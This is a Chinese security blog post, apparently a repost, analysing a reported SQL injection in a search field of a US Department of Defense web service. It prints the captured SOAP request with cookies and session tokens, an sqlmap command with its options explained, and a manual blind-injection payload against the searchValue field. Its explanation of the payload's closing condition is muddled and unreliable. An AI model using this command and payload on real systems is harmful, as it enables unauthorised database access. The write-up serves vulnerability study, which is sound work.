美国国防部注入漏洞报告分析
2024-1-7 13:25:42 Author: 白安全组(查看原文) 阅读量:10 收藏

这里是一个比较有意思的注入漏洞,是一个搜索框的注入漏洞,也是我们平时测试中可能会忽略的一点。

这里可以看到,一个基本寻找测试点的流程,这里作者针对了一个输入框进行测试,下面是完整的数据包

POST /DSF/webservices/StorefrontService.asmx HTTP/1.1Host: ████████Cookie: ASP.NET_SessionId=1phpamlj3ghg13yranwpwyc4; LASTSITEACTIVITY=17b9c74a-f80b-4e48-b274-729acb2e14ad; _____SITEGUID=17b9c74a-f80b-4e48-b274-729acb2e14ad; BIGipServerdso_dla_pool=!bMk2BVeAkzRdd6t/+hAGiDi1KgdSoi+88iAAs7+CvOtONGAdcnAhOqOuh++pi3IS36YNq+YVfr5l8HI=; TS01a7bc09=01a9fe659b2979abff2645807c9ce81ffbeeeeaafa33f9038d5a1c59dd219a29ce68fa7d4edb9afe6bb9488ceb9c8dd10214f84f28; DSFPartnerID=yaY5gqbGhOY=; TS2f53739b027=085749d0e4ab200041fc059864d60f7079a5bba1c971a9b0ec2c518a8be95c59408233620a4046e908a71691ce11300072991b95acde4750057dcf4b690fc5d287bd05e77fb374c2ef003c7fa6de858098c8aded9cd3dbae4fb2b4cb23fae3f4Content-Length: 945Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"Accept: application/xmlContent-Type: application/json;charset=UTF-8Sec-Ch-Ua-Mobile: ?0Soapaction: http://www.efi.com/dsf/StorefrontService/GetAllFacilitiesForNewUserRegistrationUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Origin: https://███Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://█████/DSF/SmartStore.aspx?6xni2of2cF01Wh1WA1f8KvqWdFIzCmht0+f1rjakhLYZYEorRbI5CMSxx2CBgN1bAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' > <soapenv:Header> <AuthenticationHeader xmlns='http://www.efi.com/dsf/BuyerTicketClientServices'> <SiteGUID>17b9c74a-f80b-4e48-b274-729acb2e14ad</SiteGUID><SessionTokenID>49f22361-1243-4cde-9788-7bad2eb575ed</SessionTokenID><TimeOut>20</TimeOut><CultureName>zh-CN</CultureName>
</AuthenticationHeader> </soapenv:Header> <soapenv:Body> <GetAllFacilitiesForNewUserRegistration xmlns='http://www.efi.com/dsf/StorefrontService'> <companyId>-1</companyId><cultureName>zh-CN</cultureName><sortColumn>description</sortColumn><sortOrder>asc</sortOrder><searchValue>*</searchValue><currentPageIndex>1</currentPageIndex><recordsToFetch>10</recordsToFetch>
</GetAllFacilitiesForNewUserRegistration> </soapenv:Body> </soapenv:Envelope>

上面的数据包,这里就可以学会一个小技巧,我们想测试搜索框中的数据包,可以将html代码放到数据包的下面进行传递,这里我们需要测试的点在<searchValue>标签中间

可以看到这里中间加了*号,方便sqlmap进行测试

sqlmap.py -r 11.txt --random-agent --batch --technique=b --dbms=mssql --force-ssl --level 3 --skip-urlencode

这里是使用的sqlmap的语句,这里面我们也可以学习一下一些简单的用法

首先txt文件就是上面的数据包了

然后random-agent就是随机数据头

batch是选择默认的选项

--technique是选择注入的方式,b是布尔盲注

然后dbms是选择数据库类型,这里是mssql

--force-ssl是强制使用https模式访问

level就是测试等级了

最后一个--skip-urlebcode,这里我理解的是禁止sqlmap进行url编码,下面的是gpt的一些解释

sqlmap 可能会尝试对请求中的数据进行 URL 编码的检测和处理,以确保测试的准确性。然而,使用 --skip-urlencode 选项可以禁止 sqlmap 对请求数据进行自动的 URL 编码处理。

手工测试:

<searchValue>1'  and substring(system_user,1,16)='public\dsfwsuser' and '%'='</searchValue>

这里可以学习到一些经验

and substring(system_user,1,16)='public\dsfwsuser': 这是注入的主要部分。它试图通过 substring 函数检查 system_user 的子字符串是否与给定的字符串 'public\dsfwsuser' 相匹配。这可能是为了尝试确定当前用户是否是 public\dsfwsuser,以便进行后续的攻击步骤。

and '%'=': 这是为了构建一个始终为真的条件,以确保原始查询不会受到影响。在这里,'%'=' 代表一个始终为真的条件,因为百分号 '%' 总是等于它自己。这样做是为了保持原始查询的逻辑正确性,同时添加额外的条件来执行攻击者想要的行为。

这个漏洞报告到这里就结束了,其实重要的一个是测试功能点的思路,还有一个就是sqlmap自动化测试的一个使用经验,希望大家可以学到。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4MjYxNTYwNA==&mid=2247487007&idx=1&sn=c4ab813c21858b856286313c54a7d90f&chksm=fc711c37b35c8f2e80fbec20fecbee24d13943a2c9f422fe9aee270cbb29f0e93e1cefdaed8b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh